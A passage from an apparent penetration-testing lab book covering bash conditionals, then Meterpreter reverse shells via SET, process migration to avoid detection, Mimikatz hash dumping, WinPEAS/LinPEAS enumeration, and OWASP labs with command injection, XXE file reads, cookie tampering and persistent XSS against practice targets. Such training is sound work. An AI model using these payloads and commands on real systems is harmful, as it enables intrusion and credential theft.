We can also swap out a value in our array using the following command:

names[1]=’Michael’

This will swap the name Mark with Michael in our array.



Lab 81. Advanced Bash Scripting

Lab Objective:
Learn some advanced bash scripting concepts.

Lab Purpose:
Bash is a Unix shell and command language. It is a free software replacement
for the Bourne Again shell. It is used as the default login shell for most Linux
distributions.

Lab Tool:
Kali Linux

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will run through some more advanced, but fundamental
concepts behind bash scripting. Using these concepts when scripting with
bash is what makes the language really useful.

We will begin by addressing conditionals. Conditionals are a piece of code
which rely on a piece of code (a condition) being met. Whether the condition
is met or not is usually determined using relational operators including: equal
to, greater than, and less than.

To begin this lab, we will start by making a simple conditional statement to
check if a variable is equal to a value. We will use an “if” statement to
achieve this goal.



An if statement looks like the following:

if [ x compared to y ]
then

Some action
else

Some other action
fi

This is the syntax for every if statement in the bash language. If statements
will always use a pair of brackets. When using bash, make sure to include a
space between the brackets at either end in order for the command to work.
We also need to ensure we end each if statement with fi, which is if
backwards. Let’s construct an example:

#!/bin/bash
number=5
if [ $number = 5 ]
then

echo true
else

echo false
fi

The following is what this looks like in a text editor:



We can execute this script and we will be returned the value “true”.

Now, let’s create a script which will accept input and compare it to a value.
This will look like the following:

#!/bin/bash
echo “Enter a value between 1 and 10:”
read value
if [ $value -gt 5 ]
then

echo “$value is greater than 5”
else

echo “$value is less than or equal to 5”
fi

Save this script file as “sample08.sh”, make executable then run;



Enter a number and see how the script responds.

Task 2:
Finally, we will create a script which will perform an action on a file based
on an if statement. To do this, we will need to use two conditions. Our script
will check if a file exists on our system and then check if we are able to write
to that file. If both conditions are true, we will write “Yes” to the file. If not,
we will create a file and write “Yes” to it. The script will look like the



following:

#!/bin/bash
echo “Please input the name of the file:”
read input
if [ -f $input ] && [ -w $input ]
then

echo Yes > $input
else

touch $input
echo Yes > $input

fi

Save this script file as “sample09.sh”, making it executable.



Now, run this script and see what happens.

Conditional statements can be extremly useful for automating tasks on a linux
system, such as checking to see if the system is up to date, if we are
connected to a network, etc.



Lab 82. How to Establish a
Meterpreter Shell on a Windows

Target Using SET

Lab Objective:
Learn how establish a Meterpreter shell on a Windows target using SET.

Lab Purpose:
SET (Social Engineering Toolkit) is designed to perform advanced cyber
security attacks against the human element. It is an open-source tool
developed in Python aimed at penetration testing around social engineering.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use Kali Linux in a VM and a Windows machine for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be looking at how to create a Metasploit payload using
SET, and then establish a Meterpreter shell using this payload. This payload
can be run on the victim machine to provide us with a Meterpreter shell on
that machine. We will be targeting a Windows machine in a virtual machine
for this lab. You can find pre-installed Windows VM images from
Microsoft’s links below:

https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
https://developer.microsoft.com/en-us/windows/downloads/virtual-



machines/

After Windows VM installation is completed, put this machine into the same
“Host-Only Network” with Kali VM to isolate attacks/scans from your real
network.

Task 2:
Before moving on to the next step, we need to put Kali VM into the “Host-
Only Network”. Since Kali will be disconnected from the internet, you will
see errors at the top of the command menus. However, it will not be a
problem for us. To begin, open SET in Kali VM by typing the following:

sudo setoolkit

The attack we will be conducting involves creating a payload and can be
found under the first menu, “Social-Engineering Attacks”. To choose this
menu, type 1.

We will then be presented with another menu. Once here, we will be
choosing option 4, “Create a Payload and Listener”. Select this option by
typing 4 and hitting enter.



We will be presented with another menu here which will ask us what kind of
payload we wish to create. For this lab, we will be choosing option 2,
“Windows Reverse_TCP Meterpreter”. Type 2 and hit enter.

We will then be asked for the IP address which the target will connect to
when the payload is run. Open another terminal screen in Kali VM, then
simply type an “ifconfig” command to learn the IP address of eth0 interface.
Return to setoolkit screen, enter this IP address below and press enter (1).



Next, you will be asked for a port. I have choosen port 5555 for this lab, but
you can choose any port (2). Once you enter the port, SET will begin
generating the payload. Once this is done, SET will ask if you want to start
the payload and listener now. Type yes and hit enter (3). Our created payload
file can be found this path “/root/.set/payload.exe” in Kali VM.

SET will now launch Metasploit and begin a listener for us using the
information we provided for the payload. This is an easier way of creating a
Metasploit payload and starting a listener. 

Task 3:
When the listener is started, transfer the payload file to your Windows virtual
machine. It will be called “payload.exe” or something similar. In order to
transfer this file to the Windows machine easily, we will run nginx web
server in Kali VM and download the file from within Windows. Open a
terminal screen in Kali VM then type these commands:

sudo cp -v /root/.set/payload.exe /var/www/html/
sudo nginx

Now, switch to Windows VM, open a browser. Type this URL into the
address bar (1): http://192.168.56.103/payload.exe

http://192.168.56.103/payload.exe


192.168.56.103 is the IP address of Kali VM in this instance.

Ensure that “Windows Defender” is turned off so that the payload can run
effectively. Then, with the listener running in Metasploit, download and
execute the payload in the Windows VM (2).

Return to your Kali VM and you will find that we have a Meterpreter shell on
the target.

To view the different sessions/shells you have running in Metasploit, type
sessions. To interact with the established Meterpreter shell, type:

sessions -i 1



Lab 83. How to Migrate to a
Different Process on the Target

Machine after Establishing a
Meterpreter Shell

Lab Objective:
Learn how to migrate to a different process on a target machine after
establishing a Meterpreter shell.

Lab Purpose:
Meterpreter is a Metasploit attack payload that provides an interactive shell to
the attacker from which they can explore the target machine as well as
execute code.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use Kali Linux in a VM and a Windows machine for this lab.

Lab Walkthrough:

Task 1:
This lab will continue on from the previous lab, where we use SET to create a
payload and establish a Meterpreter shell on a Windows target. In this lab, we
will be covering how to migrate to a different process on the Windows
machine and some basic privilege escalation.

With your Meterpreter shell open, you should still be connected to yor



Windows virtual machine. Type “sysinfo” to gather some information about
the target system. In this lab, we will be migrating our Meterpreter shell from
its current Meterpreter process to another process on the system. This is a
common next step after establishing a shell on a target as it is makes it much
easier to avoid detection.

We will begin by typing the following into the Meterpreter console:

ps

This command will list every process running on our Windows machine.
Look for the “explorer.exe” process running on the Windows machine. The
reason we want to migrate to this process is because it is typically always
running on Windows machines. This means that if the user checks their task
manager and sees explorer.exe running, they will not be suspicious.
However, if they see a process running called “edssddfkj.exe” they may become
suspicious, run a malware scan, and we will be caught on the system. Type
the following into your meterpreter shell:

ps | grep explorer.exe

This command will list all the processes running on the system and will then
use grep to find the explorer.exe process for us. On our machine, it has a
Process ID (PID) of 3228.

Task 2:
We will migrate to this process now by typing the following command:

migrate 3228

We should see something like the following screenshot:



Great, we have sucessfully migrated to a different process on the Windows
system! (2)

Task 3:
We will now attempt some very basic privilege escalation. Metasploit comes
built in with a privilege escalation module. We can load this into Meterpreter
by typing the following:



use priv

This will load the privilege escalation module. Once the module is loaded,
type the following to attempt privilege escalation on the system (2):

getsystem

This is unlikely to work, but should be tried in any case. If this process fails,
your shell may die. If it does, simply run the listener again and execute the
payload on the target machine to re-establish the shell.



Lab 84. How to Use Mimikatz to
Extract all the Passwords from a

Windows Machine

Lab Objective:
Learn how to use Mimikatz to get all passwords from a Windows machine.

Lab Purpose:
Mimikatz is an open-source application which allows users to view and save
authentication credentials on Windows machines.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use Kali Linux in a VM and a Windows machine for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using the Mimikatz tool to dump all of the NTLM
hashes from a Windows machine. These hashes can then be cracked in a tool
like John the Ripper to provide us with all cleartext passwords for the
machine. To do this, we will need to establish a privileged shell on our
Windows machine. I will be using SSH to achieve this.

To begin, we will first need to setup the SSH service on our Windows
machine. This can be done through PowerShell. Open powershell as an
Administrator by searching for PowerShell in the search box at the bottom
left of your machine. Then, right-click on PowerShell and select “Run as



Administrator”.

Once in powershell, we can install the SSH tools necessary by typing the
following (1):

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

Once this has downloaded, we can start the SSH service by typing the
following (2-3):

Start-Service sshd
Get-Service sshd



The last two commands run SSH, then shows its status.

Task 2:
Now, with the SSH server running on our machine, we can go ahead and
connect to our Windows machine from our Kali machine with the following
command:

ssh IEUser@192.168.56.104

192.168.56.104 is the IP address of our target Windows machine in this
instance. Once connected, we will have Administrator shell access on our
Windows machine.

Task 3:
The next step is to transfer the Mimikatz file over to our Windows machine.
The “mimikatz.exe” file can be found in the following directory in Kali VM:

/usr/share/windows-resources/mimikatz/x64/mimikatz.exe

Turn “Windows Defender’s real-time protection” off before starting to
transfer. Then, copy this file to the Windows machine using scp command;

scp /usr/share/windows-resources/mimikatz/x64/mimikatz.exe \



IEUser@192.168.56.104:/Users/IEUser/

Username “IEuser” and its home directory path might be different on your
Windows environment.

Task 4:
We can now execute the mimikatz application by navigating to the directory
where the application was transferred, and then type the following in our SSH
console (1):

mimikatz.exe

This will start the tool. From here, we will first ensure that mimikatz is
running as an Administrator. If it is not running as an administrator, the tool
wont run correctly. To check, we can type the following (2):

privilege::debug

The result of this command should be Privilege ‘20’ OK, which indicates that

mailto:IEUser@192.168.56.104:/Users/IEUser/


the tool is running as Administrator (3).

Task 5:
The final step is to dump all NTLM hashes from the system. We can do this
by typing the following:

lsadump::lsa /patch

All of the NTLM hashes for every service and use on the system will be
displayed to us. We can copy these hashes and take them to John the Ripper,
to crack them and obtain the cleartext passwords to the system.



Lab 85. How to Enumerate for
Privilege Escalation on a Windows

Target with WinPEAS

Lab Objective:
Learn how to use WinPEAS to enumerate for privilege escalation on a
Windows target.

Lab Purpose:
WinPEAS is a script which will search for all possible paths to escalate
privileges on Windows hosts.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use Kali Linux in a VM and a Windows machine for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be looking at how to use WinPEAS to enumerate a
Windows target for all possible privilege escalation opportunities. We will
download  PEAS (Privilege Escalation Awesome Scripts) from the internet.
First, make sure that your Kali VM is currently connected to a network that
has access to the internet. Now, open a terminal screen and type the following
command in a single line:

git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git


This will download all the scripts and tools you need. For this lab, we will be
focusing on WinPEAS, which is the script for enumerating on Windows
targets.

Once downloaded, navigate to the directory containing the file
winPEASx86.exe (or WinPEASx64.exe  if you are running a 64 bit version
of Windows). You can locate this file by typing the following into a terminal
(1):

find . -iname “winPEAS*.exe”

This will show you the exact location of the files. We want to use the Release
option for this lab. Choose proper file for your installed Windows platform
(32bit|64bit) and copy this file to nginx web server document root, which is
”/var/www/html”:

sudo cp ./privilege-escalation-awesome-scripts-
suite/winPEAS/winPEASexe/binaries/x86/Release/winPEASx86.exe /var/www/html

Then, start the nginx web server. To do this, open a terminal screen and type
the following command:



sudo nginx

We are doing this because we will later download this file from the target
Windows machine, just as we will pull the payload file. In a real life scenario,
this would be done using a phishing email or some other form of social
engineering. For this lab, simply transfer the file to your Windows machine.

Task 2:
We will need to establish a basic shell on the target. First, put Kali VM into
same “Host-Only Network” with Windows target machine again to isolate
attacks/scans from your real network.

Then, create a reverse shell payload using msfconsole, transfer this to the
Windows target, establish a Metasploit listener and execute the payload.
Refer to lab 82 for more info.

So, we now have a meterpreter shell on our target.

Task 3:
Switch to the console of your Windows machine and open a browser.
Download the winPEASx86.exe file from the Kali VM by typing the
following URL in the address line:

http://192.168.56.103/winPEASx86.exe

Ensure that “Windows Defender, realtime scan” is turned off before try to
download. Otherwise, this file might be considered suspicious by Windows
and can be destroyed immediately.



Once on the Windows machine, we can easily execute the script. In
Meterpreter, type the following to get a shell on our Windows machine:

shell

Once interacting with the cmd shell, we can execute the script by navigating
to the directory where we saved the file and then typing the following:

winPEASx86.exe > results.txt

After running command, WinPEAS goes through the entire system looking
for various privilege escalation methods available and write all output to a



text file, results.txt.

WinPEAS will look for a massive amount of information to provide us with a
comprehensive list of options with regards to privilege escalation. Some of
the information gathered include connections open, open ports, listeners, SSH
keys, windows credentials in the Windows Vault, and Credential manager,
etc. Let’s look at the content of this file now. Type this command in the same
shell:

type results.txt

WinPEAS colour-codes the information it provides us, with items in red
indicating the strongest possibility of privilege escalation.



Lab 86. How to Enumerate for
Privilege Escalation on a Linux

Target with LinPEAS

Lab Objective:
Learn how to use LinPEAS to enumerate for privilege escalation on a Linux
target.

Lab Purpose:
LinPEAS is a script which will search for all possible paths to escalate
privileges on Linux hosts.

Lab Tool:
Kali Linux and Metasploitable.

Lab Topology:
You can use Kali Linux in a VM and Metasploitable Linux VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be looking at how to use LinPEAS to enumerate a Linux
target for all possible privilege escalation opportunities. We will download 
PEAS (Privilege Escalation Awesome Scripts) from the internet. First, make
sure that your Kali VM is currently connected to a network that has access to
the internet. Now, open a terminal screen and type the following command in
a single line:

git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git


This will download all the scripts and tools you need. For this lab, we will be
focusing on LinPEAS, which is the script for enumerating on Linux targets.

Once downloaded, navigate to the directory containing the file linpeas.sh. You
can locate this file by typing the following into a terminal (1):

find . -iname “linpeas.sh”

This will show you the exact location of the file. Copy this file to the
document root of nginx web server, which is ”/var/www/html”:

sudo cp ./privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh  /var/www/html

Then, start the nginx web server. To do this, open a terminal screen and type
the following command:

sudo nginx

We are doing this because we will later download this file from the target
Metasploitable Linux VM. In a real life scenario, this would be done using a
phishing email or some other form of social engineering. For this lab, simply
transfer the file to your Metasploitable Linux VM.

Task 2:



We will need to establish a basic shell on the target. First, put Kali VM into
same “Host-Only Network” with target Metasploitable Linux VM again to
isolate attacks/scans from your real network.

Then, create a reverse shell payload using msfvenom, transfer this file to the
Metasploitable Linux VM target, establish a Metasploit listener in Kali VM,
and execute the payload on target machine. Refer to lab 75 for more
information.

So, we now have a meterpreter shell on our target!

Task 3:
Switch to the text console of your Metasploitable Linux VM. Download the
linpeas.sh file from the Kali VM, then make it executable by typing the
following commands:

wget http://192.168.56.103/linpeas.sh
chmod +x linpeas.sh



Once on the Linux machine, we can easily execute the script. In Meterpreter,
type the following to get a shell on our Linux machine:

shell

Once interacting with the shell, we can execute the script by navigating to the
directory where we saved the file and then typing the following:

./linpeas.sh > results.txt

After running command, LinPEAS goes through the entire system looking for
various privilege escalation methods available and write all output to a text
file, results.txt. If “linpeas.sh” didn’t work, make sure it is executable. You can
make this file executable by typing “chmod + x linpeas.sh” within this meterpreter
shell.

LinPEAS will look for a massive amount of information to provide us with a
comprehensive list of options with regards to privilege escalation. Some of
the information gathered include hidden files, files with specific names in
them such as “password” or “credential”, interesting files with potential
passwords, credentials for services such as apache2, mail usernames and
passwords, etc. Let’s look at the contents of this file now. Type this
command in the same shell:

cat results.txt

LinPEAS colour-codes the information it provides us, with items in red
indicating the strongest possibility of privilege escalation. 





Lab 87. OWASP A1—OS
Command Injection

Lab Objective:
Learn how to perform command injection on a target site.

Lab Purpose:
Command injection is an attack which executes arbitrary commands on the
host operating system via a vulnerable application.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM and Mutillidae 2 Tool for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using the OWASP Mutillidae II environment. First of
all, we need to have this installed in Kali VM. Follow the steps below for
installation:

Open a terminal screen in Kali VM and install the necessary packages by
entering the commands below:

sudo apt update
sudo apt install php-xml php-fpm libapache2-mod-php php-mysql php-gd \
php-imap php-mysql php-curl php-mbstring -y
sudo a2enmod proxy_fcgi setenvif
sudo systemctl restart apache2
sudo a2enconf php7.4-fpm



Start Apache and MariaDB services:

sudo systemctl reload apache2
sudo systemctl restart apache2.service
sudo service php7.4-fpm restart
sudo systemctl restart mariadb

Connect MariaDB as root user:

sudo mysql -u root



Then, paste the following commands to create new database, db user, and
grant enough privileges to new db user:

DROP USER IF EXISTS ‘mutillidae’;
CREATE USER ‘mutillidae’@’%’ IDENTIFIED BY ‘mutillidae’;
DROP DATABASE IF EXISTS mutillidae;
CREATE DATABASE mutillidae;
GRANT ALL PRIVILEGES ON mutillidae.* TO ‘mutillidae’@’%’;
FLUSH PRIVILEGES;
SHOW DATABASES;
exit;



Get OWASP Mutillidae II codes from its git repository. Set the required
permissions so that apache can serve these pages:

cd /var/www/html
sudo git clone https://github.com/webpwnized/mutillidae.git
sudo chown -R www-data:www-data /var/www/html/mutillidae



Open “mutillidae/includes/database-config.inc” file with an editor, then replace
username ‘root’ with ‘mutillidae’ in DB_USERNAME variable:

Our system is almost ready. Open a browser in Kali, then type this URL in
address: bar:http://localhost/mutillidae

http://localhost/mutillidae


Click where it says “setup / reset the DB” on the next page (1). Click OK
when confirmation popup appears (2). Finally, OWASP Mutillidae II
Environment is ready to use! (3)



Task 2:
This lab will be covering topic A1 of the OWASP Top 10 – Injection.
Considering that we have covered SQL Injection in another lab, in this lab,
we will be looking at Command Injection and how it works.

In this lab, we will be using Mutillidae to demonstrate how command
injection works. We will be using the DNS lookup page to demonstrate this.

Navigate to this page in your web browser to continue with the lab.

Task 3:
Once on the page, we are presented with a text box in which we can lookup
DNS information about a particular host. You can try this now by searching
for the DNS information of a particular site.

This page is vulnerable to an injection vulnerability known as command
injection. This means that we can submit commands through this application
and execute them on the backend operating system. This is a serious
vulnerability, as we can essentially control the entire operating system.

We can test this in a number of ways. The first step is to try and determine if
the vulnerability exists. We can do this by typing the following:

www.google.com & echo hello



This will search for DNS information for google.com and will then “echo
hello” back to us on the webpage, indicating that the site is vulnerable to
command injection.

Task 4:
Now that we know we can perform command injection, we can execute more
commands to take advantage of the OS. The first step here should be an
attempt to determine the OS type, whether it is Linux or Windows. To do
this, we should execute commands which would only work on Linux or
Windows and note the results. Type the following two commands now:

www.google.com & uname -a



As you will find, the this command will return a result if we are working with
a Linux OS, as the command will only work on Linux systems. To prove this
further, we can type the following:

www.google.com & ls

As you will see, we have now listed the entire directory we are in.

Task 5:
We can now move through the file system and look for interesting files. For



example, we can change to the root directory by typing the following:

www.google.com & cd / && ls

This will change to the home directory and list all the files present in this
directory.

From here, attackers can continue to gather information about the OS,
establish a shell, transfer files, etc.



Lab 88. OWASP A2—Broken
Authentication and Session

Management: Username
Enumeration Vulnerability

Lab Objective:
Learn how to perform username enumeration on a vulnerable site.

Lab Purpose:
Username enumeration is when an attacker can observe changes in the
website’s behaviour to identify whether a given username is valid.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM and Mutillidae 2 Tool for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be covering topic A2 of the OWASP Top 10 – Broken
Authentication. In this lab, we will be performing username enumeration on a
vulnerable site. I will be using Mutillidae 2 to perform this lab. This
vulnerable page can be found at the following location in the menu of
Mutillidae 2:



Task 2:
This is a very straightforward vulnerability. Essentially, it involves entering
usernames into the Username text box and submitting these values to
determine how the site reacts. Depending on the sites reaction, we can
determine whether that username exists or not.

To see this vulnerability in action, enter the username “User” into the text
box and press login. Server provides the response “Account does not exist”
indicating that this username does exist.

Now, enter the username “admin” into the text box and press login. Note that



the server provides the response “Incorrect Password”, indicating that this
username exist but the password is inccorrect! Using this information, we can
perform brute forcing using this username in an attempt to guess this user’s
password.

This may be a simple version of username enumeration, but in reality, you
may have to pay attention to things like error messages, response times, and
status codes to provide indications of existing usernames on a site.

Task 3:
We can now use this information to change the password and signature of
another user’s account. If you type “adrian” into the box above, you will find
that this username exists. We can take this information now and navigate to
the “Edit Profile” page.



This page has no user authentication or session management implemented.
This page allows us to change the password and signature for our logged in
user. To access this page, login as the admin with the username “admin” and
password “adminpassword”.

Once at the page, replace the username admin with adrian, and type any
password and signature. You will notice that the profile for adrian becomes
updated even though we are not logged in as adrian. This is a clear example
of poor session management.





Lab 89. OWASP A3—Sensitive
Information Disclosure

Lab Objective:
Learn how to take advantage of a sensitive information disclosure
vulnerability.

Lab Purpose:
Sensitive information disclosure is when a site unintentionally reveals
sensitive information to users.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM and Mutillidae 2 Tool for this lab.

Lab Walkthrough:

Task 1:
In this lab, I will be using Mutillidae to demonstrate an example of
information disclosure. How to install this environment in Kali VM is
explained in detail in lab 87.

Information disclosure is also referred to as information leakage, and can
refer to several things, including:

Unnecessarily exposing sensitive information, such as credit
card details

Hard-coding API keys, IP addresses, database credentials, and
so on in the source code



Hinting at the existence or absence of resources, usernames,
and so on via subtle differences in application behaviour

Revealing the names of hidden directories, their structure, and
their contents via a robots.txt file or directory listing

Providing access to source code files via temporary backups
Explicitly mentioning database table or column names in error

messages

In this lab, I will be using the Client-side Comments page to demonstrate a
hardcoded credentials vulnerabilitiy. To begin, navigate to the Client-side
Comments page which can be found at the following place in the menu:

This page is vulnerable and includes some credentials hard-coded into the
comments section of the source code.

Task 2:
We can view the source code for this page by right-clicking on the page and
clicking on the “View Page Source” option from the menu.



The hard-coded credentials can be found in a comment at the end of the page
containing the source code.

This is an example of information disclosure, or information leakage, as any
user of this site can access this information.



Lab 90. OWASP A4—EML
External Entities (XXE)

Lab Objective:
Learn how to take advantage of an XML External Entity vulnerability to
retrieve files.

Lab Purpose:
An XML External Entity vulnerability

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM and Burp Suite for this lab.

Lab Walkthrough:

Task 1:
In this lab, I will be using PortSwiggers web academy to demonstrate an
XXE injection attack. You will need to register for an account at the
following link to complete this lab:

https://portswigger.net/web-security/dashboard

The lab itself can be accessed at the following link once you have created an
account:

https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-
files

https://portswigger.net/web-security/dashboard
https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files


Task 2:
Once setup on the site, access the lab. You will be presented with a store
webpage. Click “View details” button on any product in the store.

Start Burp Suite and turn intercept on.

You will notice a button at the bottom of the screen called “Check Stock”.
Once intercepting mode on, press the “Check stock” button and capture the
resulting request in Burp Suite.



With the request captured, right-click and press “Send to Repeater”. Navigate
to the Repeater tab where we will continue to edit the request.



The way in which the server serves XML requests is vulnerable in that it
parses XML input and returns any unexpected values in the response. This
means that we are able to execute commands on the server OS.

To do this, we need to locate the section at the end and create a space
between the <?xml version=”1.0” encoding=”UTF-8”?> and <stockCheck>.
In this space, we want to enter the following line of code:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>

We need to make another change before we can submit this request. We need
to change the number under the <productId> tag to the following:



&xxe;

The following screenshot shows what the full request should look like:

Once the request has been altered, we can submit the request by pressing the
“Send” button on the top left of the Burp Suite Repeater window. You can
view the response on the right screen.



You will notice that, while the response returned a Bad Request, it also
returned the contents of the /etc/passwd file.

So, what we just did is take an advantage of an XXE vulnerability and pass a
command to the OS running on the server.



Lab 91. OWASP A5—Broken
Access Control

Lab Objective:
Learn how to take advantage of a broken access control vulnerability to log in
as another user.

Lab Purpose:
Broken Access control is what happens when restrictions on what
authenticated users can do are not properly enforced. This vulnerability can
be exploited by attackers to access unauthorized functionality and or data
such as other users’ accounts, modify other users’ data, change access rights,
view sensitive files etc.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM and Mutillidae 2 Tool for this lab.

Lab Walkthrough:

Task 1:
In this lab, I will be using Mutillidae 2 to demonstrate a broken access control
vulnerability. How to install this environment in Kali VM is explained in
detail in lab 87.

To begin, we will first need to register an account on the Mutillidae 2 home
page. The Login page can be found at the top left of the home page (1).



Once at the login screen, press on “Register an account” (2). From here, enter
the following information:

Username: tester
Pasword: test
Confirm Password: test
Signature: Hacker



Once this information is entered, click the “Create Account” button (4). We
will now have created a new user on the site. Click “Login/Register” link
again and wait.

Start Burp Suite and turn intercept mode ON. If you are not sure how to do
this, please refer to lab 7 which we had done on Burp Suite. It is important to
note that, when accessing the local web application, you will need to add a .
after localhost in order for Burp Suite to be able to capture requests. This is
what the URL for the user login page should look like:

http://localhost./mutillidae/index.php?page=login.php

Essentially, it is the same, just with an added . right after localhost (1). This
will force the web application to transmit data through our Burp Suite proxy,
allowing us to capture requests.

Return to the Login/Register page and enter the details for the account we
just created (2,3,4).



The captured requests should be available for you in Burp Suite. There will
be two of them, right-click on the requests and select “Send to Repeater” (1).

Then, forward the requests (2). The following screenshots are what the
captured requests should look like:



On this page, select “Send to Repeater” again (3). Then, click Repeater tab
(4).

Task 2:
Here, we can see the two requests we captured. Select the first request and
click the “Send” button in the top left (1). Notice the “uid” value that is
returned in the response (2). This is the value which we are going to be
manipulating.



Now, go to the second request we captured. We can see that the second
request is taking the “uid” value from the response the first request received,
and including it in the body of the request. This will allow us to manipulate
this value.



right-click on this request and select “Send to intruder” (1). Then, navigate to
the “Intruder” tab (2).

Task 3:
You will notice that we have our target available, which is the request we just
sent here. Go to the “Positions” tab within the Intruder tab. You will notice
some sections highlighted in green. Click on the Clear button to the far right
to remove all of these areas (1).

Once this is done, navigate to the “uid” value and place one of those symbols
either side of the number by pressing the “Add §” button to the far right (2).

Once this is done, navigate to the Payloads tab (3). Then, go to a terminal
screen in Kali and create a text file with numbers from 1 to 50 included in the
file. Each number should be on a new line with no spaces. You can easily
generate this file by executing the following single line command;

for k in $(seq 1 50);do echo -e $k; done > seq.txt

Then, return to the Payloads tab within the Intruder tab and import this file
we just created (1,2,3). You will notice that our payload now contains the
numbers 1-50.



Once this is done, click on the “Start Attack” button on the top right of the
screen (4). This will start replacing the “uid” value in our origional request
with the list of numbers we imported into the payloads section. We can see in
the response that the logged-in user is the admin user.

Task 4:
We will now analyse the results of our intruder attack. To do this, we will
simply click on each of the different numbers to see if they corresponded
with any other user. Click on the first request. You will see the request sent
on the bottom panel. Click on the “Response” tab in between the top and
bottom panels. This will show us the response from the server.



We now know that the uid value for the “admin” user is 1, and 2 for user
“adrian”. We will now use this information to log in as the “admin”.

Task 5:
Go back to Burp Suite and turn intercept mode OFF. Then, navigate to
browser where we are logged in as the user tester. right-click on the page and
select the “Inspect Element” option (1). Then, navigate to the Storage tab (2).



Click on the Cookies tab. This tab will have stored the cookie for our logged
in user, which means we will remain logged-in for the duration of our session
on the application. Click on the localhost cookie and note the uid value here
(3).

Double click on the uid value and change it to 1, the admin users uid (4).

Now, return to our browser page and refresh the page. We are now logged-in
as the admin user!





Lab 92. OWASP A6—Security
Misconfiguration

Lab Objective:
Learn how to take advantage of a security misconfiguration vulnerability.

Lab Purpose:
Security misconfigurations are one of the most noted vulnerabilities in the
wild. This is usually caused by insecure default configurations, incomplete or
ad hoc configurations, open cloud storage, misconfigured HTTP headers, and
verbose error messages containing sensitive information.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, I will be using Mutillidae to demonstrate a security
misconfiguration vulnerability. How to install this environment in Kali VM is
explained in detail in lab 87.

One of the most common security misconfigurations is relying on hidden
directories and files, which are not actually hidden. The only thing keeping
the application secure in this scenario is the hope that the attacker will not
find the names of the hidden resources. These names can be brute forced or
guessed.



The first example of a security misconfiguration can be easily found on
Mutillidae 2. Simply go to the URL and type the following:

http://localhost/mutillidae/passwords

As you will see, we can clearly see the accounts.txt file here in this
supposedly hidden directory. Click on this file and you will notice all of the
usernames and passwords listed for every account on Mutillidae 2. This is a
common and severe security misconfiguration, where hidden or sensitive
directories are not actually hidden.

Task 2:
For the next task, we will be using gobuster tool to discover any other
potential security misconfigurations in the form of sensitive files or
directories. Download gobuster by typing the following in a terminal in Kali:



sudo apt-get install gobuster

Once the tool is installed, type the following command in a single line to scan
the mutillidae site for all potential directories:

gobuster dir -u http://localhost/mutillidae -w \
/usr/share/dirbuster/wordlists/directory-list-1.0.txt -x .txt

This command will search the target site for all directories containted in the
directory list text file. It will also search for any files with the .txt extension
which are accessable through the URL. Notice that the only .txt file which
turns up is the robots.txt file.



Browse to this file now by typing the following into the URL bar:

localhost/mutillidae/robots.txt

This is another common security misconfiguration whereby the robots.txt file
contains sensitive information and is easily accessible. We can see when we
open this file, that it contains a list of a number of sensitive directories.



Navigate to a few of these directories by typing them into the URL and notice
the range of sensitive information we can uncover.



Lab 93. OWASP A7—Cross Site
Scripting (XSS)

Lab Objective:
Learn how to take advantage of a Cross Site Scripting (XSS) vulnerability.

Lab Purpose:
Cross Site Scripting (XSS) is a security vulnerability which allows attackers
to inject client-side scripts into web pages viewed by other users. Attackers
can use this vulnerability to bypass access controls such as the same-origin
policy.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using Mutillidae to demonstrate an XSS vulnerability.
How to install this environment in Kali VM is explained in detail in lab 87.

Considering that we have already covered reflected XSS in another lab, in
this lab, we will be focusing on Persistent XSS. Persistent XSS is a more
damaging form of XSS as the injection is permanently stored in the source,
such as the comments to a video or blog. In this lab, we will be adding to the
blog.php code to store a windows alert popup box.

To begin, navigate to the “Add to your blog” menu which can be found under



the following section of the Mutillidae 2 menu:

Once on this page, you will be presented with a text box where you can enter
text and add it as an entry to your blog. Our goal here is to add a script to the
blog which will create a popup on the users screen every time the page is
loaded.

Task 2:
In order to test the page to see if it is vulnerable to the persistent XSS



vulnerability, enter the following script into the textbox (1):

<script>alert(“Hello, you have been hacked!”)</script>

Once you click the “Save Blog Entry” box (2), you will notice that a popup
will appear on your screen with the message we entered into the textbox (3).

Click the OK button to close the popup.

Task 3:
We have executed an XSS attack, but we want to make sure that this attack
will occur everytime the page is loaded.

Then, navigate to the “View someone’s blog” site from the following
location in the menu:



You will be presented with a dropdown menu where you can view the blog of
any author.

Click on this menu (1) and select the “Show All” option, and then click the
“View Blog Entries” option (2).



You will notice that the popup will appear again with the same message we
entered earlier. This indicates that any user who visits this page will receive
the same popup, meaning we have successfully executed a persistent XSS
attack!



Lab 94. OWASP A8—Insecure
Deserialization

Lab Objective:
Learn how to take advantage of an insecure deserialization vulnerability.

Lab Purpose:
Insecure deserialization vulnerabilities often lead to remote code execution,
